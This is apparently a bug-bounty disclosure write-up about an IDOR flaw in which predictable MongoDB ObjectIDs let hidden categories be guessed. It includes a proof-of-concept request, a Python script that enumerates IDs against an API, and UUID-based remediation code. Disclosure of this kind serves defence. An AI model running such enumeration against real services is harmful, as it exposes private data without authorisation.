Initializing...

cd ..
IDOR Private Program 2026-01-05

IDOR via Predictable MongoDB ObjectIDs

Severity: High | Status: Resolved

Summary

The application used standard, sequential MongoDB ObjectIDs for resources. Because these IDs contain predictable components, attackers could guess IDs of hidden resources by incrementing known values.

Vulnerability Details

MongoDB ObjectIDs are 24-character hex strings with a predictable structure:

┌─────────────────────────────────────────────────────┐
│              MongoDB ObjectID Structure              │
├─────────────────────────────────────────────────────┤
│  6952bac3   d321da   2afb   566769                  │
│  ────────   ──────   ────   ──────                  │
│  Timestamp  Machine  PID    Counter ← Incremental!  │
│  (seconds)    ID            (starts at random)      │
└─────────────────────────────────────────────────────┘

The Problem

When resources are created in sequence, their ObjectIDs differ only in the counter portion, making them guessable.

Proof of Concept

Starting from a known category ID:

Known ID:  6952bac3d321da2afb566769
                              ↓ Increment
Guessed:   6952bac3d321da2afb56676a  ✗ Invalid
Guessed:   6952bac3d321da2afb56676b  ✗ Invalid
...
Guessed:   6952bac3d321da2afb566770  ✓ VALID!

Request

GET /api/categories/6952bac3d321da2afb566770 HTTP/1.1
Host: target.com

Response (Hidden Resource Exposed)

{
  "_id": "6952bac3d321da2afb566770",
  "name": "Secret Category",
  "isPublic": false,
  "nominees": [
    { "name": "Hidden Nominee 1" },
    { "name": "Hidden Nominee 2" }
  ]
}

Enumeration Script

import requests

base_id = "6952bac3d321da2afb5667"
found = []

for i in range(0x00, 0xFF):
    test_id = base_id + format(i, '02x')
    r = requests.get(f"https://target.com/api/categories/{test_id}")
    
    if r.status_code == 200:
        found.append(test_id)
        print(f"[+] Found: {test_id}")

print(f"\nTotal discovered: {len(found)} resources")

Impact

  • Mass enumeration of entire database
  • Discovery of hidden categories
  • Access to test/staging nominations
  • Exposure of future event content

Remediation

// Use UUIDs instead of ObjectIDs for public-facing resources
const { v4: uuidv4 } = require('uuid');

const categorySchema = new Schema({
  publicId: { 
    type: String, 
    default: () => uuidv4(),
    index: true 
  },
  // ... other fields
});

// Query by UUID, not ObjectID
router.get('/categories/:id', async (req, res) => {
  const category = await Category.findOne({ 
    publicId: req.params.id,
    isPublic: true 
  });
  // ...
});

Responsible Disclosure

This vulnerability was reported responsibly and fixed by the vendor before public disclosure.